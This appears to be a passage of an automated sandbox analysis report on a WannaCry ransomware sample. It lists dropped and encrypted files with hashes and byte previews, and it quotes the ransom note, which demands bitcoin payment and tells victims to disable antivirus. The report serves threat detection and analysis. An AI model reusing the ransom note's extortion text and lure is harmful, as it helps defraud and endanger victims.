                                                                                                                        Preview:WANACRY!.........]..B.38.@HE.F.z..>...\..&....N...EDu.{.!..$.(U.~.j..?....@...M..P.......*.G}...[.....R7..3...j,U..M9...'C.......cn.../.....<....|tz.O........h. .....`....Z..B.l4.~...+[.K..a]xB,.#..=.6.h...v_.'e....0.}...Y,.U.;-L..J.3{Y}......*...8cC.:...t=.J............U.&.v..'...5A.......2.2.M...oz.l..w.F6...P..g..ps..].F.S......@W.z..p...t.v^.^.fl.k.+......t...i}.2.f.=......P)./3"I8.._^...'.&...N'....%.q..jn..q.d.,.^.%7..*.,....COD|.W..?...nI.I.h.'8E..j...........T.Q.M...>....b."24Y.....T1..OA(*..ZUW.ac.CF....f..A(..S.k.g.8..c'...rY.....%.q8=v...R.....c...J.Tz.........$..O....w9U....w..9..a)c.^.n.V..t.Z.H.......8....rb996G....g.....U...._w.c..c`..I#...W.........lu.>.......F....q..!J...p7QZ..C..;.M.2...[..J.3..p_.D.D..x>7[.u..='..<.B..=..f.2 `..]S...}.' ...x`..D...*.....Xk..c...7z>t....5."..*..=.r]~4.S....iO.B.... i.d.-...........(.@.0..P.,P...-]0....+..-."&.{.Mn......D.........Jkme...!...a..aIOi.CVk....6...;^.o.r.M....5.82G.H.}.[a..c.8e..

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\NEBFQQYWPS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850049319154567
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk+Ngf5QOS/tkKJzlVW4Fvh1K/asKAZlkA9a/Kg4knWNEecDz:bk+ef5QJ/tkKJz3W4b25HkAwCAn3/z
                                                                                                                        MD5:DB59B6E0C4DF46A9480E8B6A611104D0
                                                                                                                        SHA1:C872AFAAD6842413E6F4918DD8843E17A1B80D8C
                                                                                                                        SHA-256:53D1BBD69BC0E104CBAB70DF0CE66CC8B1E7B1F9B37FB6B7D2AF57E257A4A480
                                                                                                                        SHA-512:547D3841F469247BFF1C3E843B3FADD5E6B47617861405F85A3A3A46681C414ACE41AA3446149A2D36870FD0748AC165C9704673CF92AF533A33FD230F8D9258
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........]..B.38.@HE.F.z..>...\..&....N...EDu.{.!..$.(U.~.j..?....@...M..P.......*.G}...[.....R7..3...j,U..M9...'C.......cn.../.....<....|tz.O........h. .....`....Z..B.l4.~...+[.K..a]xB,.#..=.6.h...v_.'e....0.}...Y,.U.;-L..J.3{Y}......*...8cC.:...t=.J............U.&.v..'...5A.......2.2.M...oz.l..w.F6...P..g..ps..].F.S......@W.z..p...t.v^.^.fl.k.+......t...i}.2.f.=......P)./3"I8.._^...'.&...N'....%.q..jn..q.d.,.^.%7..*.,....COD|.W..?...nI.I.h.'8E..j...........T.Q.M...>....b."24Y.....T1..OA(*..ZUW.ac.CF....f..A(..S.k.g.8..c'...rY.....%.q8=v...R.....c...J.Tz.........$..O....w9U....w..9..a)c.^.n.V..t.Z.H.......8....rb996G....g.....U...._w.c..c`..I#...W.........lu.>.......F....q..!J...p7QZ..C..;.M.2...[..J.3..p_.D.D..x>7[.u..='..<.B..=..f.2 `..]S...}.' ...x`..D...*.....Xk..c...7z>t....5."..*..=.r]~4.S....iO.B.... i.d.-...........(.@.0..P.,P...-]0....+..-."&.{.Mn......D.........Jkme...!...a..aIOi.CVk....6...;^.o.r.M....5.82G.H.}.[a..c.8e..

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\PWCCAWLGRE.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.82314569071476
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:RACL4nVt3Nrsww4iUCdaKxbZzUuJBN6RmPZMg393UwAmTP:RHIJiZjbyuJqQhMYUzmL
                                                                                                                        MD5:415955F6B3991F38A30CC54149CC8832
                                                                                                                        SHA1:00ECF5449BEAD4498DD7AD16C86A83EE354BC7F3
                                                                                                                        SHA-256:E3C2A42F1024CC0AC18905D57D6959FB0F21DBCF9182BDAD7B46599DE5C466CD
                                                                                                                        SHA-512:CF5231095829DD87495FFC5220EC1950E5856B6F9AAC63CA25C483237493A921659C28292019D8EAD5E6923E6B8556C147E57038C2681024C2721E6D62503709
                                                                                                                        Malicious:false
                                                                                                                        Preview:..:...2mz...zM....V!..w..lECg.B...OxZ;.3..H.......C.0.....[..B.../...r....f..v..i.8(.Y+.W...(.o:.p=..}..2....&...5Q.%e..*........M>o<.........@.Xk..4,q...zX6.........1.m......V.AX(..-.M[/...e...<..Mu.0:.Xx.wu....#.#..Cn.B...@....s.;.?...F.,...............R.7.,e.;.2Rm..u.%...{.C..M.QRO._.....i..f.$..?..q...'...:U.`<.Z+]c....#.<.....s..-s@?.0....H1.!u`.....p.>p.....<...zEZ^...y..o..k.N.|3.c..v.....Y.......M.......\~U...7....:6;..a-../)W2U`.={Sx.V.69.I.Pc`z....l..i^`N+X\...x..b...GP..*...W......_..qG......}}....*.....zB.k.;q.~,.2...........Tz.@f.....8...........,..h*M...\..k.m.....{.a..j.I..]......jQ..l.n.ce.............BY..6n3.I.y. x......2O./d.L..Rq.e'[..(Y..LS.pa...i.0.....;2..)WY.*.........v..'.d.+X..`Lp.FT..R.......k..8..}\........V.....yc......e...FAR....T.Q... !.]f.S....].of...m.f....-.9.7.W..J.#...%.%..(....2{...&"W.?$...J.....A.....5.....F.f...'j..6.....(......[h.5f...H..)!9..Z..j;?9...S.....D...$g.....]..<..Y'h...../b

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\PWCCAWLGRE.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.876274079509989
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9lFlOdO96u6fy1EqdvlwJRg2vuuk6TZ49XAjZbnmn9CKXrnk:bk9lFlO496un3wJ+2gSaXAtmYKbnk
                                                                                                                        MD5:7ACADD5DEA17EE563671E5DBF278E7F3
                                                                                                                        SHA1:067A649AC61B209B3B68EBC994E92DB1CC94F30C
                                                                                                                        SHA-256:3AD30FD7A9662323BDA57F8EF0C3BF3A1C11013E325C47B558CCDF4BF2B53B8F
                                                                                                                        SHA-512:9D42AC6DCC534FA0A53FA9F70975E49181F592C706DCED6CB8118A6B5D9C70527324424EFEACE4549132C94CA2F9909288A45BF9BC5B0F2E801100629425ACA3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....f%x..c..L.=...K.L.s%.CW._[.-T.9D....Y....;........]K."~..L.9c...!.B...A..Y.{.....&m.h.4Q{oB.g....h.|.Kt%...Vm...(M..<.CU.h7a.*N..(s.......1E.Z.../.J2.!........r"...#c.>y.)........@B...]..y_.....y.....eDio...I(%......,}u.8`..|.Y%...T.`.P.@....e................fr..(.H.....>5..{.h.{v...j.<...].k..._. .#.....E.0#J7b.../.cI...8.E.V..z..2j...>.^.T...-.?.z........R.(.....!....a>x.N=.O.j.2.....X.t.z..a._R..J.h.....E.g........1..q.JlN.tKx%.9S.v.i....)...`.N.z.U=..+..n.x..d.*...`.....C....S.>H..7...v<.W.1@.t...X2.[..J..>.VQ!.3..f.......1w.Q.48..1..P..I.....B.=.z.bqx.Y.....7kt......?.3e.U}.d......wC;.tXSR.H..a.......Q|..OMB..J..I...A.#..o+U.V.!a.......fvW..B(i..)w.[.+.;.8..x....J..".H"g.F......e..7K...AX..~.C..h).r....(%.P...6..C...O..<....[.K$b..5RN.....~UF..T.#...T.M......A\.....F..6.1..-....#..l..^.0u..b....D!.\..,s..J.........k.C.}q%.........}.P..S.*.q.:....m.....y.....Q.v....\........./..,'~.BUX...G..]?.l...}.G..../...3...L..=....L...n.....&U

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\PWCCAWLGRE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.876274079509989
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9lFlOdO96u6fy1EqdvlwJRg2vuuk6TZ49XAjZbnmn9CKXrnk:bk9lFlO496un3wJ+2gSaXAtmYKbnk
                                                                                                                        MD5:7ACADD5DEA17EE563671E5DBF278E7F3
                                                                                                                        SHA1:067A649AC61B209B3B68EBC994E92DB1CC94F30C
                                                                                                                        SHA-256:3AD30FD7A9662323BDA57F8EF0C3BF3A1C11013E325C47B558CCDF4BF2B53B8F
                                                                                                                        SHA-512:9D42AC6DCC534FA0A53FA9F70975E49181F592C706DCED6CB8118A6B5D9C70527324424EFEACE4549132C94CA2F9909288A45BF9BC5B0F2E801100629425ACA3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....f%x..c..L.=...K.L.s%.CW._[.-T.9D....Y....;........]K."~..L.9c...!.B...A..Y.{.....&m.h.4Q{oB.g....h.|.Kt%...Vm...(M..<.CU.h7a.*N..(s.......1E.Z.../.J2.!........r"...#c.>y.)........@B...]..y_.....y.....eDio...I(%......,}u.8`..|.Y%...T.`.P.@....e................fr..(.H.....>5..{.h.{v...j.<...].k..._. .#.....E.0#J7b.../.cI...8.E.V..z..2j...>.^.T...-.?.z........R.(.....!....a>x.N=.O.j.2.....X.t.z..a._R..J.h.....E.g........1..q.JlN.tKx%.9S.v.i....)...`.N.z.U=..+..n.x..d.*...`.....C....S.>H..7...v<.W.1@.t...X2.[..J..>.VQ!.3..f.......1w.Q.48..1..P..I.....B.=.z.bqx.Y.....7kt......?.3e.U}.d......wC;.tXSR.H..a.......Q|..OMB..J..I...A.#..o+U.V.!a.......fvW..B(i..)w.[.+.;.8..x....J..".H"g.F......e..7K...AX..~.C..h).r....(%.P...6..C...O..<....[.K$b..5RN.....~UF..T.#...T.M......A\.....F..6.1..-....#..l..^.0u..b....D!.\..,s..J.........k.C.}q%.........}.P..S.*.q.:....m.....y.....Q.v....\........./..,'~.BUX...G..]?.l...}.G..../...3...L..=....L...n.....&U

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\VAMYDFPUND.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.801866330012878
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:xex7chKNxMwOREhR78zE/Sn1I8b0DCsIG6BVwGbNN:xeWoNx+EhRQE/S1VPLGLCP
                                                                                                                        MD5:F7334333323863CBF28C4453C46BE0BC
                                                                                                                        SHA1:3E5BDCA114AC640FFAE8E62D03D230F80A43DE1B
                                                                                                                        SHA-256:31A6FE92CBD8B100CC44DB1976BAB680CDD6831211C503E9DC789E94CCE83C7A
                                                                                                                        SHA-512:24977F5DA9B1C6BEEB16A2889B8B121FA5B60010C51266306797278D890E0E78AE8D9932625E1C71E07E083509229A1ADF36DB5C1C28BBFF40D11B5D6B0C93B4
                                                                                                                        Malicious:false
                                                                                                                        Preview:....e.5.....*eJM//.?..O.....e...+.F............%R/..d.[.g............^.....>a.{O...xV......Ob.P...QI"..Y.!..R6.O.....+..k,3.>....F..p....4.K....\..=...1|....9...qA.nj..o.b...nRc.<.....v.kj2.L.%l..'..~U..9.9."P..dJ?....1.Py..$.........4....#...u..VU.3.."...[....DE.~.y..IP....Q.kwA...i.Q&n..'5=.....JZ..E.<J..%......9...j}......ifX.KV.*_..'.A..q...+./;......"w.4..,.5)<..s.XNK..T1...;Q.+.s.u..;z[.....]r.h..h~TZ..jc4.....d.]?....I....K......#Y....Q_yHo.U........?...m..].....z......@X]...B[..`...R.....(y.........}~................t.M..)Tx...$.~..-.$.vQ..6...)<S.E.;^*.'.zB6...`kb..t.g.<r..D....t.l..6?.r!........j.5C. ........%.....F...Q..fx..h.E..{....r.X.W.(V.(kC.L.(.....LS../.r.S....I.R...H.L).Foe.].MjZ..2e.lM.B.c..+8...9.yi.sn.|X...$..?..6J...l\..u.....r..J>...../.d..J{...[.....Km.i.o.G.cbu?.*..U........f.CEI}.r..7M..W.{...G...8MT u%..........4.`..V8..:.N.N...1..T...k.:..V....{V.6......F"S.Ycb.r..[..@..s..?.U...,.%!......^.F......+.D\..9

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\VAMYDFPUND.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840773852641641
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk6V2AvSDVLvtDI8bBY5doK/rPeBDUVyImSDM1+OKeghTY8u1knhDajD5h07hw5:bk6VFvA9tDVduS6pDOuJY8u1M+DPwS5
                                                                                                                        MD5:29B16228F6C1409DB7C1FFC41658AA5B
                                                                                                                        SHA1:7A9B5CC3D5DDE246DC779D1DDBC9835C8FF98793
                                                                                                                        SHA-256:BD009D128EAC06296A729D4C2C0AD8904B359A8B035ADC93CA7A10E41A56EF8B
                                                                                                                        SHA-512:6F1C4F3BF354D23F98E6473BE9A0577FD1798D38FC666F2D2725DC3E47C5CDB5C6D2E26F71C14B864110329CC37B1B149E4879CDE98434E0C00E980F95465C16
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....@....(....g..IF.6..f).{i....j..D.^.ITQ......#Hq.......N.....7.o..r.hO...?`.H...........{....Bh....U..m3.N......L>.O^s....._O..b.7T..\J...%K.[.].q.-..N.....>.(..hgvBnr...g..n^O..;.HH.......].M..k..a...Ci....CU..B.Yt.......w...g6..:7.zB\...............jCA..P..D66..=.HP..&[..T.....n.k.....B.S.c.]6v..,....c.%........)7"....k... HBX.wE...LF.%.............o.lL..3|>.UH..S....].7)E.E.d .+.O.......T..c...,v<a....H.-..]7._.j!.(...C..+.-e....p..?..V3..1.Rq...hq.N..@&ey..rx..^.....,...!..O...Z.....k.|"c].({~.e.qJ....p._.K....X#...v.^.i|^.......dF....r..^mF.,3....|l...ux..I.nC>'/s]....J....#M....A.i..4XgH..&+.}j.J]H.u...v3Mzb)..;...._.....XC!....%.@@..j'...Y.FgJH..{........M..H...X.D.`d.r.F...@.#B$...VW..cz..}F.6..W...f....P.._\.$.As.l..Q.+..@.....H.=)_..C..U..D.....).+.a..=...K.T.i...jD.Ge>XC..=7..p.-..o.]..4.M.i..yK.+PR..^.Y.7u..>...z.}m.t....r].c=..d{..U..,..b.Uz%.=.C.+......7...p.n........~...[j4....urJ.G.*r..%dY\z52......

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND\VAMYDFPUND.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840773852641641
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk6V2AvSDVLvtDI8bBY5doK/rPeBDUVyImSDM1+OKeghTY8u1knhDajD5h07hw5:bk6VFvA9tDVduS6pDOuJY8u1M+DPwS5
                                                                                                                        MD5:29B16228F6C1409DB7C1FFC41658AA5B
                                                                                                                        SHA1:7A9B5CC3D5DDE246DC779D1DDBC9835C8FF98793
                                                                                                                        SHA-256:BD009D128EAC06296A729D4C2C0AD8904B359A8B035ADC93CA7A10E41A56EF8B
                                                                                                                        SHA-512:6F1C4F3BF354D23F98E6473BE9A0577FD1798D38FC666F2D2725DC3E47C5CDB5C6D2E26F71C14B864110329CC37B1B149E4879CDE98434E0C00E980F95465C16
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....@....(....g..IF.6..f).{i....j..D.^.ITQ......#Hq.......N.....7.o..r.hO...?`.H...........{....Bh....U..m3.N......L>.O^s....._O..b.7T..\J...%K.[.].q.-..N.....>.(..hgvBnr...g..n^O..;.HH.......].M..k..a...Ci....CU..B.Yt.......w...g6..:7.zB\...............jCA..P..D66..=.HP..&[..T.....n.k.....B.S.c.]6v..,....c.%........)7"....k... HBX.wE...LF.%.............o.lL..3|>.UH..S....].7)E.E.d .+.O.......T..c...,v<a....H.-..]7._.j!.(...C..+.-e....p..?..V3..1.Rq...hq.N..@&ey..rx..^.....,...!..O...Z.....k.|"c].({~.e.qJ....p._.K....X#...v.^.i|^.......dF....r..^mF.,3....|l...ux..I.nC>'/s]....J....#M....A.i..4XgH..&+.}j.J]H.u...v3Mzb)..;...._.....XC!....%.@@..j'...Y.FgJH..{........M..H...X.D.`d.r.F...@.#B$...VW..cz..}F.6..W...f....P.._\.$.As.l..Q.+..@.....H.=)_..C..U..D.....).+.a..=...K.T.i...jD.Ge>XC..=7..p.-..o.]..4.M.i..yK.+PR..^.Y.7u..>...z.}m.t....r].c=..d{..U..,..b.Uz%.=.C.+......7...p.n........~...[j4....urJ.G.*r..%dY\z52......

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821478486226599
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:4EJ/IriUyzYT09YmVEh1quyjLMeLru1axO:rFNUyzYT09BEhK/VLoN
                                                                                                                        MD5:B0F7194ACC6046231AC9E875D4154789
                                                                                                                        SHA1:72838C75DEBEF7E20BD89EA5C3BFB7BF30DD794F
                                                                                                                        SHA-256:CA996F4E91C9BB222FBEF15C08F001BD07E4601B6733B6CFE5A3B133A43DB7C8
                                                                                                                        SHA-512:CE8BE2029579C725715230C28B281AAAE8A01E7883F6DF874B5148ED117B9D13D24E6DC400019625FC875F930E6FB13C2A62D1C8625C304CE8BE83B2A5E4B346
                                                                                                                        Malicious:false
                                                                                                                        Preview:.........k..........>N...>....z>..8..D.=Vkj.N...k.A.|...j8.l..q....u|.....4>.... !.@.s.}...lLc.../.r.....=.s$..x.....dM'....9%..vr+.s......EN..bP.s..{...W..d.{...V(..5..S..3.P..K._.m.Q/.Y..N.>n...@P>.3.^6.H..v..........zM{1W..(R$.]..F)..P........dP.i}.=..pe...\[).x.K.p.E;Ng.....9.l./.m%.0..Sp..O.B....D.w=.#R....4........3c7....K>...x..e......|.>.\#msbQ#.8....M..m>..k....?..7...L8.3..P...hC....Z.v...5 .e...{X..P...........6...eD.t.D.e..r9...n..>_.zo.\...|.V..6.3..K..&....T1)...>..$...-@$....G.....Z+...o...4.v...}...w....D.....E.7...9Q_.O@....../._...C..)*..I....cb...}....o..^.^.&.|Q..~.....l...TN.AF..%..I{4.4kF...Wt{.i.<.dM ...7T..G...r......B..........6.m.vrtU1....x....+3..g.z~.m.wd.|.]....&...YBC}..........j..._..V....(..u.*.X......U.[.U~.:....).....^.j.U.}y.J..4..a..R#..+F...o<.@.-...m...X..+.....U..v;fwj.....M..2.RY.._8>(.Y.^.n...`..V..y.Z..ea..!.1o'D.f..3..C...a.wY7......fV..T.....h....)..o...gp........].c.S.w....l...j..4..

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.82942482836405
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk0Y/XnWPlqpSsl2FEiiCPE4WrX9AXzrmfCGDeIWZ79tdGG9WyB/NIanrdSGWs1L:bk42x2FJWlL6XzrmKcGBdGG99IanpSGl
                                                                                                                        MD5:F2B76C7EC335FCA9C1D648904C10A6CE
                                                                                                                        SHA1:2FAFF7E37D5AADF39879BD4DBB4336567B3AC97D
                                                                                                                        SHA-256:950C8A26BF1EC118E1713450D61D1EF465952DFAC05A8B7D32BA36A870E575B9
                                                                                                                        SHA-512:E8F133F377407119BC673C3C1664393812F5371D07C22AA43ABFC94076A754C68195EDD25B44054807EE104CC1B6359BE524E33ADB6F4D682C59C1EDA0EBD328
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......g.......L\:#. ....'V..s]..!eh...bY%G..s.X.P3.b...]..0#S....D....'....9E[....G.k.:.... (...B).i.A;...A...H..l../..e..].".Z......k.0.78...T.5.....z.T..`..u.'o.../...h6...Q{.$...)...fT....j.^...G^.o_3.Z.n./....u..l.......h....V...`y{L....~.{X.d....................]........z.2.C..6VN.R.DVx.U.....kY..w1S.I..).....%.......i,.Y.E[D.(.54....#.8...[.....hD...J...g^;.j...stY.M7.n8...t....h.A.....?...kW.~..b...d@x.7o...W...g.[i..c..-)..../c...m.J. .....&.pI).{...N.@..SA!..r..N...%j].S..O....0.K..{7..1..?.Ix...p....3.L6......AW&cv.Ix......h.H.:7c...E\'..z..].3..V.[a.d..7g.:.(..{..Uv..........K.O.....w.R.c v._.s...,....~.Q. gA....@...h...a...q.H...0...A..S.z..u_J Ba....L.a..s..m.@S. a......S7...9|%3.5~.`..!{?..z..d..V.."q....E/V ...3f....]..0h^..Hh...d.`I..&.f.e.....rj..'.?..@..|:.wU.c.<g..c....z..ja"....T..3..=.........._....b.$.w..l..2.=........,Ms.z.......P?...."r..........Qy.{.A..S..Uc..ie..D...-.X..&c..u...k.:#.....3...Uz....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.82942482836405
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk0Y/XnWPlqpSsl2FEiiCPE4WrX9AXzrmfCGDeIWZ79tdGG9WyB/NIanrdSGWs1L:bk42x2FJWlL6XzrmKcGBdGG99IanpSGl
                                                                                                                        MD5:F2B76C7EC335FCA9C1D648904C10A6CE
                                                                                                                        SHA1:2FAFF7E37D5AADF39879BD4DBB4336567B3AC97D
                                                                                                                        SHA-256:950C8A26BF1EC118E1713450D61D1EF465952DFAC05A8B7D32BA36A870E575B9
                                                                                                                        SHA-512:E8F133F377407119BC673C3C1664393812F5371D07C22AA43ABFC94076A754C68195EDD25B44054807EE104CC1B6359BE524E33ADB6F4D682C59C1EDA0EBD328
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......g.......L\:#. ....'V..s]..!eh...bY%G..s.X.P3.b...]..0#S....D....'....9E[....G.k.:.... (...B).i.A;...A...H..l../..e..].".Z......k.0.78...T.5.....z.T..`..u.'o.../...h6...Q{.$...)...fT....j.^...G^.o_3.Z.n./....u..l.......h....V...`y{L....~.{X.d....................]........z.2.C..6VN.R.DVx.U.....kY..w1S.I..).....%.......i,.Y.E[D.(.54....#.8...[.....hD...J...g^;.j...stY.M7.n8...t....h.A.....?...kW.~..b...d@x.7o...W...g.[i..c..-)..../c...m.J. .....&.pI).{...N.@..SA!..r..N...%j].S..O....0.K..{7..1..?.Ix...p....3.L6......AW&cv.Ix......h.H.:7c...E\'..z..].3..V.[a.d..7g.:.(..{..Uv..........K.O.....w.R.c v._.s...,....~.Q. gA....@...h...a...q.H...0...A..S.z..u_J Ba....L.a..s..m.@S. a......S7...9|%3.5~.`..!{?..z..d..V.."q....E/V ...3f....]..0h^..Hh...d.`I..&.f.e.....rj..'.?..@..|:.wU.c.<g..c....z..ja"....T..3..=.........._....b.$.w..l..2.=........,Ms.z.......P?...."r..........Qy.{.A..S..Uc..ie..D...-.X..&c..u...k.:#.....3...Uz....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\MXPXCVPDVN.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.8142244920612765
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:a0arsJjdmUTGCiUYQFiZNR4VKvTymCxE3tIrSTuwtfaWhMLbIGFSvaU+llA:5Z0UTGfRqKZC2vjaiMLUGMvaUU6
                                                                                                                        MD5:AC6080CC7B00866F8E23E69D9B3EB55C
                                                                                                                        SHA1:52E494A2C9908DCE2718916761B75DB7DA47B92F
                                                                                                                        SHA-256:EB483DAC8FB08DDA0D18DCC91162CE487196E691D94A2BEC608E196FCC858937
                                                                                                                        SHA-512:A564E8CF47A518CBE0C4313D20011F69899F4D9BAA0502BDA774B52790D32A93E2810F70EE2CC33A48AC4772B636379AD7124029B174E42192A88D83F06372B3
                                                                                                                        Malicious:false
